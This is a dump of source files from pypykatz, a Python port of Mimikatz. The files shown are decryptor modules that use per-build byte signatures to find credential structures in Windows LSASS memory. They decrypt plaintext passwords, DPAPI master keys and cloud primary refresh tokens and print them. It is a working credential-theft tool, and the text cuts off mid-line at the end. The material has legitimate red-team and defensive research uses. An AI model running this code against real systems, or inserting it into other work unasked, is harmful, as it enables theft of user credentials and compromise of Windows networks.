WindowsMinBuild.WIN_VISTA.value: 42 | return LsaTemplate_NT5.get_template(sysinfo) 43 | else: 44 | return LsaTemplate_NT6.get_template(sysinfo) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from .credman.templates import * 8 | from .dpapi.templates import * 9 | from .dpapi.decryptor import * 10 | from .kerberos.templates import * 11 | from .kerberos.decryptor import * 12 | from .livessp.templates import * 13 | from .livessp.decryptor import * 14 | from .msv.templates import * 15 | from .msv.decryptor import * 16 | from .ssp.templates import * 17 | from .ssp.decryptor import * 18 | from .tspkg.templates import * 19 | from .tspkg.decryptor import * 20 | from .wdigest.templates import * 21 | from .wdigest.decryptor import * 22 | from .cloudap.templates import * 23 | from .cloudap.decryptor import * 24 | 25 | __credman__ = ['CredmanTemplate'] 26 | __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential'] 27 | __kerberos__ = ['KerberosTemplate','KerberosDecryptor'] 28 | __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential'] 29 | __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential'] 30 | __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential'] 31 | __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential'] 32 | __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential'] 33 | __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential'] 34 | 35 | 36 | #__kerberos__ 37 | __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__ + __kerberos__ -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/cloudap/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/cloudap/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/cloudap/decryptor.py: -------------------------------------------------------------------------------- 1 | import json 2 | import hashlib 3 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor 4 | 5 | class CloudapCredential: 6 | def __init__(self): 7 | self.credtype = 'cloudap' 8 | self.luid = None 9 | self.sid = None 10 | self.cachedir = None 11 | self.PRT = None 12 | self.key_guid = None 13 | self.dpapi_key = None 14 | self.dpapi_key_sha1 = None 15 | 16 | def to_dict(self): 17 | t = {} 18 | t['credtype'] = self.credtype 19 | t['cachedir'] = self.cachedir 20 | t['PRT'] = self.PRT 21 | t['key_guid'] = self.key_guid 22 | t['dpapi_key'] = self.dpapi_key 23 | t['dpapi_key_sha1'] = self.dpapi_key_sha1 24 | return t 25 | 26 | def to_json(self): 27 | return json.dumps(self.to_dict()) 28 | 29 | def __str__(self): 30 | t = '\t== Cloudap [%x]==\n' % self.luid 31 | t += '\t\tcachedir %s\n' % self.cachedir 32 | t += '\t\tPRT %s\n' % self.PRT 33 | t += '\t\tkey_guid %s\n' % self.key_guid 34 | t += '\t\tdpapi_key %s\n' % self.dpapi_key 35 | t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1 36 | return t 37 | 38 | class CloudapDecryptor(PackageDecryptor): 39 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 40 | super().__init__('Cloudap', lsa_decryptor, sysinfo, reader) 41 | self.decryptor_template = decryptor_template 42 | self.credentials = [] 43 | 44 | async def find_first_entry(self): 45 | position = await self.find_signature('cloudAP.dll',self.decryptor_template.signature) 46 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 47 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) 48 | return ptr_entry, ptr_entry_loc 49 | 50 | async def add_entry(self, cloudap_entry): 51 | try: 52 | cred = CloudapCredential() 53 | cred.luid = cloudap_entry.LocallyUniqueIdentifier 54 | 55 | if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0: 56 | return 57 | cache = await cloudap_entry.cacheEntry.read(self.reader) 58 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') 59 | if cache.cbPRT != 0 and cache.PRT.value != 0: 60 | ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT) 61 | temp, raw_dec = self.decrypt_password(ptr_enc, bytes_expected=True) 62 | try: 63 | temp = temp.decode() 64 | except: 65 | pass 66 | 67 | cred.PRT = temp 68 | 69 | if cache.toDetermine != 0: 70 | unk = await cache.toDetermine.read(self.reader) 71 | if unk is not None: 72 | cred.key_guid = unk.guid.value 73 | cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk) 74 | cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest() 75 | 76 | if cred.PRT is None and cred.key_guid is None: 77 | return 78 | self.credentials.append(cred) 79 | except Exception as e: 80 | self.log('CloudAP entry parsing error! Reason %s' % e) 81 | 82 | 83 | async def start(self): 84 | try: 85 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() 86 | except Exception as e: 87 | self.log('Failed to find structs! Reason: %s' % e) 88 | return 89 | 90 | await self.reader.move(entry_ptr_loc) 91 | entry_ptr = await self.decryptor_template.list_entry(self.reader) 92 | await self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/credman/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/credman/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/dpapi/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/dpapi/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/dpapi/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | import hashlib 9 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor 10 | 11 | class DpapiCredential: 12 | def __init__(self): 13 | self.credtype = 'dpapi' 14 | self.luid = None 15 | self.key_guid = None 16 | self.masterkey = None 17 | self.sha1_masterkey = None 18 | 19 | def to_dict(self): 20 | t = {} 21 | t['credtype'] = self.credtype 22 | t['key_guid'] = self.key_guid 23 | t['masterkey'] = self.masterkey 24 | t['sha1_masterkey'] = self.sha1_masterkey 25 | t['luid'] = self.luid 26 | return t 27 | 28 | def to_json(self): 29 | return json.dumps(self.to_dict()) 30 | 31 | def __str__(self): 32 | t = '\t== DPAPI [%x]==\n' % self.luid 33 | t += '\t\tluid %s\n' % self.luid 34 | t += '\t\tkey_guid %s\n' % self.key_guid 35 | t += '\t\tmasterkey %s\n' % self.masterkey 36 | t += '\t\tsha1_masterkey %s\n' % self.sha1_masterkey 37 | return t 38 | 39 | class DpapiDecryptor(PackageDecryptor): 40 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 41 | super().__init__('Dpapi', lsa_decryptor, sysinfo, reader) 42 | self.decryptor_template = decryptor_template 43 | self.credentials = [] 44 | 45 | 46 | async def find_first_entry(self, modulename): 47 | position = await self.find_signature(modulename, self.decryptor_template.signature) 48 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 49 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) 50 | return ptr_entry, ptr_entry_loc 51 | 52 | async def add_entry(self, dpapi_entry): 53 | if dpapi_entry.key is None: 54 | return 55 | 56 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: 57 | dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) 58 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() 59 | 60 | c = DpapiCredential() 61 | c.luid = dpapi_entry.LogonId 62 | c.key_guid = dpapi_entry.KeyUid 63 | c.masterkey = dec_masterkey.hex() 64 | c.sha1_masterkey = sha_masterkey 65 | self.credentials.append(c) 66 | 67 | async def start(self): 68 | for modulename in ['lsasrv.dll','dpapisrv.dll']: 69 | try: 70 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry(modulename) 71 | except Exception as e: 72 | self.log('Failed to find structs! Reason: %s' % e) 73 | continue 74 | await self.reader.move(entry_ptr_loc) 75 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) 76 | await self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/dpapi/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, WindowsBuild 9 | from pypykatz.alsadecryptor.win_datatypes import LUID, GUID, POINTER, FILETIME, ULONG 10 | from pypykatz.alsadecryptor.package_commons import PackageTemplate 11 | 12 | class DpapiTemplate(PackageTemplate): 13 | def __init__(self): 14 | super().__init__('Dpapi') 15 | self.signature = None 16 | self.first_entry_offset = None 17 | self.list_entry = None 18 | 19 | @staticmethod 20 | def get_template(sysinfo): 21 | template = DpapiTemplate() 22 | template.list_entry = PKIWI_MASTERKEY_CACHE_ENTRY 23 | template.log_template('list_entry', template.list_entry) 24 | 25 | if sysinfo.architecture == KatzSystemArchitecture.X64: 26 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 27 | template.signature = b'\x4d\x3b\xee\x49\x8b\xfd\x0f\x85' 28 | template.first_entry_offset = -4 29 | 30 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: 31 | template.signature = b'\x49\x3b\xef\x48\x8b\xfd\x0f\x84' 32 | template.first_entry_offset = -4 33 | 34 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: 35 | template.signature = b'\x33\xc0\xeb\x20\x48\x8d\x05' 36 | template.first_entry_offset = 7 37 | 38 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: 39 | template.signature = b'\x4c\x89\x1f\x48\x89\x47\x08\x49\x39\x43\x08\x0f\x85' 40 | template.first_entry_offset = -4 41 | 42 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: 43 | template.signature = b'\x08\x48\x39\x48\x08\x0f\x85' 44 | template.first_entry_offset = -10 45 | 46 | elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: 47 | template.signature = b'\x48\x89\x4e\x08\x48\x39\x48\x08' 48 | template.first_entry_offset = -7 49 | 50 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: 51 | template.signature = b'\x48\x89\x4f\x08\x48\x89\x78\x08' 52 | template.first_entry_offset = 11 53 | 54 | else: 55 | #currently this doesnt make sense, but keeping it here for future use 56 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) 57 | 58 | 59 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 60 | if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: 61 | template.signature = b'\x33\xc0\x40\xa3' 62 | template.first_entry_offset = -4 63 | 64 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: 65 | template.signature = b'\x8b\xf0\x81\xfe\xcc\x06\x00\x00\x0f\x84' 66 | template.first_entry_offset = -16 67 | 68 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_BLUE.value: 69 | template.signature = b'\x33\xc0\x40\xa3' 70 | template.first_entry_offset = -4 71 | 72 | else: 73 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 74 | 75 | 76 | return template 77 | 78 | 79 | class PKIWI_MASTERKEY_CACHE_ENTRY(POINTER): 80 | def __init__(self): 81 | super().__init__() 82 | 83 | @staticmethod 84 | async def load(reader): 85 | p = PKIWI_MASTERKEY_CACHE_ENTRY() 86 | p.location = reader.tell() 87 | p.value = await reader.read_uint() 88 | p.finaltype = KIWI_MASTERKEY_CACHE_ENTRY 89 | return p 90 | 91 | 92 | class KIWI_MASTERKEY_CACHE_ENTRY: 93 | def __init__(self): 94 | self.Flink = None 95 | self.Blink = None 96 | self.LogonId = None 97 | self.KeyUid = None 98 | self.insertTime = None 99 | self.keySize = None 100 | self.key = None 101 | 102 | @staticmethod 103 | async def load(reader): 104 | res = KIWI_MASTERKEY_CACHE_ENTRY() 105 | res.Flink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader) 106 | res.Blink = await PKIWI_MASTERKEY_CACHE_ENTRY.load(reader) 107 | res.LogonId = await LUID.loadvalue(reader) 108 | res.KeyUid = await GUID.loadvalue(reader) 109 | res.insertTime = await FILETIME.load(reader) 110 | res.keySize = await ULONG.loadvalue(reader) 111 | if res.keySize < 512: 112 | res.key = await reader.read(res.keySize) 113 | else: 114 | res.key = None 115 | return res 116 | -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/kerberos/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/kerberos/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/livessp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/livessp/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/livessp/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor 9 | 10 | class LiveSspCredential: 11 | def __init__(self): 12 | self.credtype = 'livessp' 13 | self.username = None 14 | self.domainname = None 15 | self.password = None 16 | self.password_raw = b'' 17 | self.luid = None 18 | 19 | def to_dict(self): 20 | t = {} 21 | t['credtype'] = self.credtype 22 | t['username'] = self.username 23 | t['domainname'] = self.domainname 24 | t['password'] = self.password 25 | t['password_raw'] = self.password_raw 26 | t['luid'] = self.luid 27 | return t 28 | def to_json(self): 29 | return json.dumps(self.to_dict()) 30 | 31 | def __str__(self): 32 | t = '\t== LiveSsp [%x]==\n' % self.luid 33 | t += '\tusername %s\n' % self.username 34 | t += '\tdomainname %s\n' % self.domainname 35 | t += '\tpassword %s\n' % self.password 36 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 37 | return t 38 | 39 | class LiveSspDecryptor(PackageDecryptor): 40 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 41 | super().__init__('LiveSsp', lsa_decryptor, sysinfo, reader) 42 | self.decryptor_template = decryptor_template 43 | self.credentials = [] 44 | 45 | async def find_first_entry(self): 46 | position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature) 47 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 48 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) 49 | return ptr_entry, ptr_entry_loc 50 | 51 | async def add_entry(self, ssp_entry): 52 | c = LiveSspCredential() 53 | c.luid = ssp_entry.LocallyUniqueIdentifier 54 | 55 | suppCreds = await ssp_entry.suppCreds.read(self.reader) 56 | 57 | c.username = await suppCreds.credentials.UserName.read_string(self.reader) 58 | c.domainname = await suppCreds.credentials.Domaine.read_string(self.reader) 59 | if suppCreds.credentials.Password.Length != 0: 60 | enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader) 61 | if c.username.endswith('$') is True: 62 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) 63 | if c.password is not None: 64 | c.password = c.password.hex() 65 | else: 66 | c.password, c.password_raw = self.decrypt_password(enc_data) 67 | 68 | self.credentials.append(c) 69 | 70 | async def start(self): 71 | try: 72 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() 73 | except Exception as e: 74 | self.log('Failed to find structs! Reason: %s' % e) 75 | return 76 | await self.reader.move(entry_ptr_loc) 77 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) 78 | await self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/livessp/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | #from minidump.win_datatypes import * 8 | from pypykatz.commons.common import KatzSystemArchitecture 9 | from pypykatz.alsadecryptor.win_datatypes import POINTER, ULONG, \ 10 | KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, LSA_UNICODE_STRING 11 | from pypykatz.alsadecryptor.package_commons import PackageTemplate 12 | 13 | class LiveSspTemplate(PackageTemplate): 14 | def __init__(self): 15 | super().__init__('LiveSsp') 16 | self.signature = None 17 | self.first_entry_offset = None 18 | self.list_entry = None 19 | 20 | @staticmethod 21 | def get_template(sysinfo): 22 | template = LiveSspTemplate() 23 | template.list_entry = PKIWI_LIVESSP_LIST_ENTRY 24 | template.log_template('list_entry', template.list_entry) 25 | 26 | if sysinfo.architecture == KatzSystemArchitecture.X64: 27 | template.signature = b'\x74\x25\x8b' 28 | template.first_entry_offset = -7 29 | 30 | 31 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 32 | template.signature = b'\x8b\x16\x39\x51\x24\x75\x08' 33 | template.first_entry_offset = -8 34 | 35 | else: 36 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 37 | 38 | 39 | return template 40 | 41 | 42 | class PKIWI_LIVESSP_PRIMARY_CREDENTIAL(POINTER): 43 | def __init__(self): 44 | super().__init__() 45 | 46 | @staticmethod 47 | async def load(reader): 48 | p = PKIWI_LIVESSP_PRIMARY_CREDENTIAL() 49 | p.location = reader.tell() 50 | p.value = await reader.read_uint() 51 | p.finaltype = KIWI_LIVESSP_PRIMARY_CREDENTIAL 52 | return p 53 | 54 | class KIWI_LIVESSP_PRIMARY_CREDENTIAL: 55 | def __init__(self): 56 | self.isSupp = None 57 | self.unk0 = None 58 | self.credentials = None 59 | 60 | @staticmethod 61 | async def load(reader): 62 | res = KIWI_LIVESSP_PRIMARY_CREDENTIAL() 63 | res.isSupp = await ULONG.loadvalue(reader) 64 | res.unk0 = await ULONG.loadvalue(reader) 65 | res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) 66 | return res 67 | 68 | 69 | class PKIWI_LIVESSP_LIST_ENTRY(POINTER): 70 | def __init__(self): 71 | super().__init__() 72 | 73 | @staticmethod 74 | async def load(reader): 75 | p = PKIWI_LIVESSP_LIST_ENTRY() 76 | p.location = reader.tell() 77 | p.value = await reader.read_uint() 78 | p.finaltype = KIWI_LIVESSP_LIST_ENTRY 79 | return p 80 | 81 | class KIWI_LIVESSP_LIST_ENTRY: 82 | def __init__(self): 83 | self.Flink = None 84 | self.Blink = None 85 | self.unk0 = None 86 | self.unk1 = None 87 | self.unk2 = None 88 | self.unk3 = None 89 | self.unk4 = None 90 | self.unk5 = None 91 | self.unk6 = None 92 | self.LocallyUniqueIdentifier = None 93 | self.UserName = None 94 | self.unk7 = None 95 | self.suppCreds = None 96 | 97 | @staticmethod 98 | async def load(reader): 99 | res = KIWI_LIVESSP_LIST_ENTRY() 100 | res.Flink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader) 101 | res.Blink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader) 102 | res.unk0 = await PVOID.load(reader) 103 | res.unk1 = await PVOID.load(reader) 104 | res.unk2 = await PVOID.load(reader) 105 | res.unk3 = await PVOID.load(reader) 106 | res.unk4 = await DWORD.loadvalue(reader) 107 | res.unk5 = await DWORD.loadvalue(reader) 108 | res.unk6 = await PVOID.load(reader) 109 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) 110 | res.UserName = await LSA_UNICODE_STRING.load(reader) 111 | res.unk7 = await PVOID.load(reader) 112 | res.suppCreds = await PKIWI_LIVESSP_PRIMARY_CREDENTIAL.load(reader) 113 | return res -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/msv/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/msv/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/ssp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/ssp/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/ssp/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | import json 9 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor 10 | 11 | class SspCredential: 12 | def __init__(self): 13 | self.credtype = 'ssp' 14 | self.username = None 15 | self.domainname = None 16 | self.password = None 17 | self.password_raw = b'' 18 | self.luid = None 19 | 20 | def to_dict(self): 21 | t = {} 22 | t['credtype'] = self.credtype 23 | t['username'] = self.username 24 | t['domainname'] = self.domainname 25 | t['password'] = self.password 26 | t['password_raw'] = self.password_raw 27 | t['luid'] = self.luid 28 | return t 29 | 30 | def to_json(self): 31 | return json.dumps(self.to_dict()) 32 | 33 | def __str__(self): 34 | t = '\t== SSP [%x]==\n' % self.luid 35 | t += '\t\tusername %s\n' % self.username 36 | t += '\t\tdomainname %s\n' % self.domainname 37 | t += '\t\tpassword %s\n' % self.password 38 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 39 | return t 40 | 41 | class SspDecryptor(PackageDecryptor): 42 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 43 | super().__init__('Ssp', lsa_decryptor, sysinfo, reader) 44 | self.decryptor_template = decryptor_template 45 | self.credentials = [] 46 | 47 | async def find_first_entry(self): 48 | position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature) 49 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 50 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) 51 | return ptr_entry, ptr_entry_loc 52 | 53 | async def add_entry(self, ssp_entry): 54 | c = SspCredential() 55 | c.luid = ssp_entry.LogonId 56 | c.username = await ssp_entry.credentials.Domaine.read_string(self.reader) 57 | c.domainname = await ssp_entry.credentials.UserName.read_string(self.reader) 58 | if ssp_entry.credentials.Password.Length != 0: 59 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: 60 | enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader) 61 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) 62 | if c.password is not None: 63 | c.password = c.password.hex() 64 | else: 65 | enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader) 66 | c.password, c.password_raw = self.decrypt_password(enc_data) 67 | 68 | if c.username == '' and c.domainname == '' and c.password is None: 69 | return 70 | 71 | self.credentials.append(c) 72 | 73 | async def start(self): 74 | try: 75 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() 76 | except Exception as e: 77 | self.log('Failed to find structs! Reason: %s' % e) 78 | return 79 | await self.reader.move(entry_ptr_loc) 80 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) 81 | await self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/ssp/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild 9 | from pypykatz.alsadecryptor.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER 10 | from pypykatz.alsadecryptor.package_commons import PackageTemplate 11 | 12 | class SspTemplate(PackageTemplate): 13 | def __init__(self): 14 | super().__init__('Ssp') 15 | self.signature = None 16 | self.first_entry_offset = None 17 | self.list_entry = None 18 | 19 | @staticmethod 20 | def get_template(sysinfo): 21 | template = SspTemplate() 22 | template.list_entry = PKIWI_SSP_CREDENTIAL_LIST_ENTRY 23 | template.log_template('list_entry', template.list_entry) 24 | 25 | if sysinfo.architecture == KatzSystemArchitecture.X64: 26 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 27 | template.signature = b'\xc7\x43\x24\x43\x72\x64\x41\xff\x15' 28 | template.first_entry_offset = 16 29 | 30 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: 31 | template.signature = b'\xc7\x47\x24\x43\x72\x64\x41\x48\x89\x47\x78\xff\x15' 32 | template.first_entry_offset = 20 33 | 34 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: 35 | template.signature = b'\x24\x43\x72\x64\x41\xff\x15' 36 | template.first_entry_offset = 14 37 | 38 | else: 39 | #currently this doesnt make sense, but keeping it here for future use 40 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) 41 | 42 | 43 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 44 | template.signature = b'\x1c\x43\x72\x64\x41\xff\x15' 45 | template.first_entry_offset = 12 46 | 47 | else: 48 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) 49 | 50 | 51 | return template 52 | 53 | 54 | class PKIWI_SSP_CREDENTIAL_LIST_ENTRY(POINTER): 55 | def __init__(self): 56 | super().__init__() 57 | 58 | @staticmethod 59 | async def load(reader): 60 | p = PKIWI_SSP_CREDENTIAL_LIST_ENTRY() 61 | p.location = reader.tell() 62 | p.value = await reader.read_uint() 63 | p.finaltype = KIWI_SSP_CREDENTIAL_LIST_ENTRY 64 | return p 65 | 66 | class KIWI_SSP_CREDENTIAL_LIST_ENTRY: 67 | def __init__(self): 68 | self.Flink = None 69 | self.Blink = None 70 | self.References = None 71 | self.CredentialReferences = None 72 | self.LogonId = None 73 | self.unk0 = None 74 | self.unk1 = None 75 | self.unk2 = None 76 | self.credentials = None 77 | 78 | @staticmethod 79 | async def load(reader): 80 | res = KIWI_SSP_CREDENTIAL_LIST_ENTRY() 81 | res.Flink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader) 82 | res.Blink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader) 83 | res.References = await ULONG.loadvalue(reader) 84 | res.CredentialReferences = await ULONG.loadvalue(reader) 85 | res.LogonId = await LUID.loadvalue(reader) 86 | res.unk0 = await ULONG.loadvalue(reader) 87 | res.unk1 = await ULONG.loadvalue(reader) 88 | res.unk2 = await ULONG.loadvalue(reader) 89 | await reader.align() 90 | res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) 91 | return res -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/tspkg/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/alsadecryptor/packages/tspkg/__init__.py -------------------------------------------------------------------------------- /pypykatz/alsadecryptor/packages/tspkg/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | from pypykatz import logger 9 | 10 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor 11 | from pypykatz.alsadecryptor.win_datatypes import PRTL_AVL_TABLE 12 | 13 | class TspkgCredential: 14 | def __init__(self): 15 | self.credtype = 'tspkg' 16 | self.username = None 17 | self.domainname = None 18 | self.password = None 19 | self.password_raw = b'' 20 | self.luid = None 21 | 22 | def to_dict(self): 23 | t = {} 24 | t['credtype'] = self.credtype 25 | t['username'] = self.username 26 | t['domainname'] = self.domainname 27 | t['password'] = self.password 28 | t['password_raw'] = self.password_raw 29 | t['luid'] = self.luid 30 | return t 31 | 32 | def to_json(self): 33 | return json.dumps(self.to_dict()) 34 | 35 | def __str__(self): 36 | t = '\t== TSPKG [%x]==\n' % self.luid 37 | t += '\t\tusername %s\n' % self.username 38 | t += '\t\tdomainname %s\n' % self.domainname 39 | t += '\t\tpassword %s\n' % self.password 40 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() 41 | return t 42 | 43 | class TspkgDecryptor(PackageDecryptor): 44 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 45 | super().__init__('Tspkg', lsa_decryptor, sysinfo, reader) 46 | self.decryptor_template = decryptor_template 47 | self.credentials = [] 48 | 49 | 50 | async def find_first_entry(self): 51 | position = await self.find_signature('TSpkg.dll',self.decryptor_template.signature) 52 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.avl_offset) 53 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) 54 | return ptr_entry, ptr_entry_loc 55 | 56 | async def start(self): 57 | try: 58 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() 59 | except Exception as e: 60 | self.log('Failed to find structs! Reason: 